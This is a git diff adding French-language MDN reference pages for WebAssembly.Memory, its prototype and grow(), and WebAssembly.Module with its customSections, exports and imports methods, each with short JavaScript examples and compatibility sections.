+<p>La taille de l'espace mémoire avant l'extension, exprimée en nombre de pages WebAssembly.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le code qui suit, on crée une instance de <code>Memory</code> qui mesure initialement 1 page (soit 64 Ko) et dont la taille maximale est de 10 pages (soit 6,4 Mo).</p>
+
+<pre class="brush: js">var memory = new WebAssembly.Memory({initial:10, maximum:100});</pre>
+
+<p>Ensuite, on augmente la taille de l'espace mémoire d'une page grâce à la méthode :</p>
+
+<pre class="brush: js">const bytesPerPage = 64 * 1024;
+console.log(memory.buffer.byteLength / bytesPerPage);  // "1"
+console.log(memory.grow(1));                           // "1"
+console.log(memory.buffer.byteLength / bytesPerPage);  // "2"</pre>
+
+<p>On voit ici que la valeur de <code>grow()</code> indique l'espace utilisé avant l'agrandissement de la mémoire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymemoryprototypegrow', 'grow()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Memory.grow")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html
new file mode 100644
index 0000000000..b6469924d1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html
@@ -0,0 +1,123 @@
+---
+title: WebAssembly.Memory()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Object
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>WebAssembly.Memory()</strong></code> crée un nouvel objet <code>Memory</code> dont la propriété {{jsxref("WebAssembly/Memory/buffer","buffer")}} est un {{jsxref("ArrayBuffer")}} redimensionnable qui contient les octets de mémoire bruts accessibles par une instance WebAssembly.</p>
+
+<p>Un espace mémoire créé depuis du code JavaScript ou depuis du code WebAssembly sera accessible et modifiable (<em>mutable</em>) depuis JavaScript <strong>et</strong> depuis WebAssembly.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var maMemoire = new WebAssembly.Memory(descripteurMemoire);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>descripteurMemoire</code></dt>
+ <dd>Un objet qui contient les propriétés suivantes :
+ <dl>
+  <dt><code>initial</code></dt>
+  <dd>La taille initiale de cet espace mémoire WebAssembly, exprimée en nombre de pages WebAssembly.</dd>
+  <dt><code>maximum</code> {{optional_inline}}</dt>
+  <dd>La taille maximale autorisée pour cet espace mémoire WebAssembly, exprimée en nombre de pages WebAssembly. Lorsque ce paramètre est utilisé, il est fournit comme indication au moteur pour que celui-ci réserve l'espace mémoire correspondant. Toutefois, le moteur peut choisir d'ignorer cette indication. Dans la plupart des cas, il n'est pas nécessaire d'indiquer un maximum pour les modules WebAssembly.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>Une page mémoire WebAssembly correspond à une taille fixe de 65 536 octets, soit environ 64 Ko.</p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si <code>descripteurMemoire</code> n'est pas un objet, une exception {{jsxref("TypeError")}} sera levée.</li>
+ <li>Si <code>maximum</code> est indiqué et qu'il est inférieur à <code>initial</code>, une exception {{jsxref("RangeError")}} sera levée.</li>
+</ul>
+
+<h2 id="Méthodes_du_constructeur_Memory">Méthodes du constructeur <code>Memory</code></h2>
+
+<p>Aucune.</p>
+
+<h2 id="Instances_de_Memory">Instances de <code>Memory</code></h2>
+
+<p>Toutes les instances de <code>Memory</code> héritent des propriétés du <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/prototype">prototype du constructeur</a> <code>Memory()</code> qui peut être utilisé afin de modifier le comportement de l'ensemble des instances de <code>Memory</code>.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt><code>Memory.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Memory()")}}.</dd>
+ <dt>{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}</dt>
+ <dd>Une propriété d'accesseur qui renvoie le tampon contenu dans l'espace mémoire.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}</dt>
+ <dd>Cette méthode permet d'augmenter la taille de l'espace mémoire d'un nombre de pages donné (dont chacune mesure 64 Ko).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Il existe deux façons de créer un objet <code>WebAssembly.Memory</code>. La première consiste à le créer explicitement en JavaScript. Avec l'instruction qui suit, on crée un espace mémoire avec une taille initiale de 10 pages (soit 640 Ko) et une taille maximale de 100 pages (soit 6,4 Mo).</p>
+
+<pre class="brush: js">var memoire = new WebAssembly.Memory({initial:10, maximum:100});</pre>
+
+<p>La seconde méthode permettant d'obtenir un objet <code>WebAssembly.Memory</code> est de l'exporter depuis un module WebAssembly. Dans l'exemple suivant (cf. le fichier <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> sur GitHub ainsi que <a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">le résultat obtenu</a>) on récupère et on instancie le <em>bytecode</em> <code>memory.wasm</code> grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} tout en important la mémoire créée à la ligne précédente. Ensuite, on enregistre des valeurs au sein de cette mémoire puis on exporte une fonction qu'on utilise pour additionner certaines valeurs.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(obj =&gt; {
+  var i32 = new Uint32Array(memory.buffer);
+  for (var i = 0; i &lt; 10; i++) {
+    i32[i] = i;
+  }
+  var sum = obj.instance.exports.accumulate(0, 10);
+  console.log(sum);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Memory")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html
new file mode 100644
index 0000000000..70271ea710
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html
@@ -0,0 +1,71 @@
+---
+title: WebAssembly.Memory.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/prototype
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - WebAssembly
+  - memory
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>WebAssembly.Memory</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WebAssembly.Memory()")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("WebAssembly.Memory")}} héritent de <code>Memory.prototype</code>. Le prototype du constructeur {{jsxref("WebAssembly.Memory()")}} peut être modifié afin de modifier le comportement de l'ensemble des instances de {{jsxref( "WebAssembly.Memory")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Memory.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Memory()")}}.</dd>
+ <dt>{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}</dt>
+ <dd>Une propriété d'accesseur qui renvoie le tampon contenu dans l'espace mémoire.</dd>
+ <dt>
+ <h2 id="Méthodes">Méthodes</h2>
+ </dt>
+ <dt>{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}</dt>
+ <dd>Cette méthode permet d'accroître la taille de l'espace mémoire en ajoutant un nombre de pages WebAssembly (dont chacune mesure 64 Ko).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Memory.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WebAssembly.Memory()")}}</li>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html
new file mode 100644
index 0000000000..5b9185d4f6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html
@@ -0,0 +1,98 @@
+---
+title: WebAssembly.Module.customSections()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/customSections
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Module
+  - Méthode
+  - Object
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/customSections
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>WebAssembly.customSections()</code></strong> renvoie un tableau qui contient les sections personnalisées (<em>custom sections</em>) disponibles dans un module WebAssembly et qui ont un nom donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var custSec = WebAssembly.Module.customSections(<em>module</em>, <em>nomSection</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>module</code></dt>
+ <dd>L'objet {{jsxref("WebAssembly.Module")}} pour lequel on veut obtenir les sections personnalisées.</dd>
+ <dt><code>nomSection</code></dt>
+ <dd>Le nom de la section personnalisée qu'on souhaite obtenir.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau contenant des {{domxref("ArrayBuffer")}} dont chacun contient les données d'une section personnalisée du module qui correspond à <code>nomSection</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si le module passé en argument n'est pas une instance de {{jsxref("WebAssembly.Module")}}, la méthode lèvera une exception {{jsxref("TypeError")}}.</p>
+
+<h2 id="Les_sections_personnalisées">Les sections personnalisées</h2>
+
+<p>Un module wasm contient une série de <strong>sections</strong>. La plupart de ces sections sont spécifiées et validées par la spécification WebAssembly mais les modules peuvent contenir certaines sections « personnalisées » (<em>custom sections</em>) qui sont ignorées lors de la phase de validation. Pour plus d'informations, consulter<a href="https://github.com/WebAssembly/design/blob/master/BinaryEncoding.md#high-level-structure"> l'article sur les structures de haut niveau</a> qui détaille la structure des sections et les différences entre les sections normales (« connues ») et les sections personnalisées.</p>
+
+<p>Cela permet aux développeurs d'inclure des données personnalisées dans un module WebAssembly pour d'autres desseins. Par exemple, on peut avoir <a href="https://github.com/WebAssembly/design/blob/master/BinaryEncoding.md#name-section">une section personnalisée <code>name</code></a>, qui permet aux développeurs de fournir des noms pour les fonctions et les variables locales du module (à la façon des « symboles » utilisé pour les programmes compilés).</p>
+
+<p>Le format WebAssembly ne possède actuellement aucune syntaxe pour ajouter une section personnalisée. Il est toutefois possible d'ajouter une section nommée au module wasm pendant la conversion du texte vers .wasm. La commande <code>wast2wasm</code>, disponible avec l'outil <code><a href="https://github.com/webassembly/wabt">wabt</a></code>, possède une option <code>--debug-names</code> qui permet de créer un module <code>.wasm</code> avec une section personnalisée <code>name</code> :</p>
+
+<pre class="brush: bash">wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit (tiré de <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/custom-section.html">ce fichier source</a> et de <a href="https://mdn.github.io/webassembly-examples/other-examples/custom-section.html">cette démonstration</a>), on compile et on instancie le bytecode <code>simple-name-section.wasm</code> et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on exporte une fonction depuis le module grâce à <code>Instance.exports</code>.</p>
+
+<p>On faut aussi une vérification sur <code>WebAssembly.Module.customSections</code> pour vérifier si celle-ci contient une section personnalisée <code>"name"</code> dont on vérifie si la longueur est supérieure à 0. Ce module contenant une section <code>name</code>, les appels à <code>console.log()</code> sont exécutés et montrent que le tableau renvoyé par la méthode contient des objets {{domxref("ArrayBuffer")}}.</p>
+
+<pre class="brush: js">WebAssembly.compileStreaming(fetch('simple-name-section.wasm'))
+.then(function(mod) {
+  var nameSections = WebAssembly.Module.customSections(mod, "name");
+  if (nameSections.length != 0) {
+    console.log("Le module contient une section nommée");
+    console.log(nameSections[0]);
+  };
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymodulecustomsections', 'customSections()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Module.customSections")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html
new file mode 100644
index 0000000000..9f30c87b7d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html
@@ -0,0 +1,108 @@
+---
+title: WebAssembly.Module.exports()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/exports
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Module
+  - Méthode
+  - Object
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/exports
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <strong><code>WebAssembly.Module.exports()</code></strong> renvoie un tableau qui contient les descriptions des exports déclarés pour un module donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var exports = WebAssembly.Module.exports(module);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>module</code></dt>
+ <dd>Un objet {{jsxref("WebAssembly.Module")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau qui contient des objets représentants les fonctions exportés du module passé en argument.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si l'argument n'est pas une instance de {{jsxref("WebAssembly.Module")}}, une exception {{jsxref("TypeError")}} sera levée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant (basé sur le fichier <code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index-compile.html">index-compile.html</a></code> disponible sur GitHub avec <a href="https://mdn.github.io/webassembly-examples/js-api-examples/index-compile.html">la démonstration correspondante</a>), on compile le <em>bytecode</em> <code>simple.wasm</code> grâce à la fonction {{jsxref("WebAssembly.compileStreaming()")}} puis on envoie le résultat à un <em><a href="/fr/docs/Web/API/Web_Workers_API">worker</a></em> grâce à la méthode <code><a href="/fr/docs/Web/API/Worker/postMessage">postMessage()</a></code>.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+WebAssembly.compileStreaming(fetch("simple.wasm"))
+.then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<p>Dans le <em>worker</em> (cf. <code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/wasm_worker.js">wasm_worker.js</a></code>), on définit un objet d'import pour le module puis on paramètre un gestionnaire d'évènement afin de recevoir le module depuis le <em>thread</em> principal. Lorsqu'on reçoit le module, on en crée une instance via la méthode {{jsxref("WebAssembly.Instantiate()")}} puis on appelle une fonction exportée et enfin, on affiche les informations relatives aux exports disponibles grâce à <code>WebAssembly.Module.exports</code>.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+onmessage = function(e) {
+  console.log('module reçu du thread principal');
+  var mod = e.data;
+
+  WebAssembly.instantiate(mod, importObject).then(function(instance) {
+    instance.exports.exported_func();
+  });
+
+  var exports = WebAssembly.Module.exports(mod);
+  console.log(exports[0]);
+};</pre>
+
+<p>La valeur <code>exports[0]</code> ressemblera alors à :</p>
+
+<pre class="brush: js">{ name: "exported_func", kind: "function" }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymoduleexports', 'exports()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Module.exports")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html
new file mode 100644
index 0000000000..c486bbf8ae
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html
@@ -0,0 +1,84 @@
+---
+title: WebAssembly.Module.imports()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/imports
+tags:
+  - API
+  - JavaScript
+  - Module
+  - Méthode
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/imports
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>WebAssembly.imports()</code></strong> renvoie un tableau qui contient les références des fonctions importées qui sont disponibles dans un module WebAssembly donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var arrImport = WebAssembly.Module.imports(module);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>module</code></dt>
+ <dd>Une instance de {{jsxref("WebAssembly.Module")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau qui contient des objets représentant les fonctions importées du module passé en argument.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si <code>module</code> n'est pas une instance de {{jsxref("WebAssembly.Module")}}, une exception {{jsxref("TypeError")}} sera levée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on compile le module <code>simple.wasm</code> puis on parcourt ses imports (cf. aussi <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/imports.html">le code sur GitHub</a> et <a href="https://mdn.github.io/webassembly-examples/js-api-examples/imports.html">l'exemple <em>live</em></a>)</p>
+
+<pre class="brush: js">WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(function(mod) {
+  var imports = WebAssembly.Module.imports(mod);
+  console.log(imports[0]);
+});
+</pre>
+
+<p>Le résultat affiché dans la console ressemble alors à :</p>
+
+<pre class="brush: js">{ module: "imports", name: "imported_func", kind: "function" }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymoduleimports', 'imports()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initial pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Module.imports")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html
new file mode 100644
index 0000000000..7802ae2206
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html
@@ -0,0 +1,89 @@
+---
+title: WebAssembly.Module()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module
+tags:
+  - Constructeur
+  - JavaScript
+  - Module
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module
+---
+<div>{{JSRef}}</div>
+
+<p>Un objet <strong><code>WebAssembly.Module</code></strong> contient du code WebAssembly, sans état et qui a déjà été compilé par le navigateur. Ce code peut être <a href="/fr/docs/Web/API/Worker/postMessage">partagé avec des <em>web worker</em></a> et être instancié à plusieurs reprises. Pour instancier le module, on pourra appeler la forme secondaire de {{jsxref("WebAssembly.instantiate()")}}.</p>
+
+<p>Le constructeur <code>WebAssembly.Module()</code> peut être appelé de façon synchrone pour compiler du code WebAssembly. Toutefois, on utilisera généralement la fonction asynchrone {{jsxref("WebAssembly.compile()")}} qui permet de compiler du <em>bytecode</em>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="warning">
+<p><strong>Important </strong>: La compilation de modules volumineux peut être consommatrice de ressources et de temps. Le constructeur <code>Module()</code> doit uniqument être utilisé lorsqu'il faut absolument avoir une compilation  synchrone. Pour tous les autres cas de figures, on privilégiera la méthode asynchrone {{jsxref("WebAssembly.compileStreaming()")}}.</p>
+</div>
+
+<pre class="syntaxbox">var monModule = new WebAssembly.Module(bufferSource);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>bufferSource</code></dt>
+ <dd>Un <a href="/fr/docs/Web/JavaScript/Tableaux_typés">tableau typé</a> ou un {{jsxref("ArrayBuffer")}} qui contient le <em>bytecode</em> du module WebAssembly qu'on souhaite compiler.</dd>
+</dl>
+
+<h2 id="Méthodes_du_constructeur_Module">Méthodes du constructeur <code>Module</code></h2>
+
+<dl>
+ <dt>{{jsxref("Objets_globaux/WebAssembly/Module/customSections", "WebAssembly.Module.customSections()")}}</dt>
+ <dd>Pour un module donné et une chaîne de caractères donnée, cette méthode renvoie une copie des sections personnalisées (<em>custom sections</em>) du module qui ont le nom correspondant à la chaîne.</dd>
+ <dt>{{jsxref("Objets_globaux/WebAssembly/Module/exports", "WebAssembly.Module.exports()")}}</dt>
+ <dd>Pour un module donné, cette méthode renvoie un tableau dont les éléments sont des descriptions des exports déclarés.</dd>
+ <dt>{{jsxref("Objets_globaux/WebAssembly/Module/imports", "WebAssembly.Module.imports()")}}</dt>
+ <dd>Pour un module donné, cette méthode renvoie un tableau dont les éléments sont des descriptions des imports déclarés.</dd>
+</dl>
+
+<h2 id="Instances_de_Module">Instances de <code>Module</code></h2>
+
+<p>Toutes les instances de <code>Module</code> héritent du prototype du constructeur <code>Module()</code>, celui-ci peut être modifié afin de moifier le comportement de l'ensemble des instances de <code>Module</code>.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/prototype', 'Propriétés')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>Les instances de <code>Module</code> ne disposent pas de méthodes en propre.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
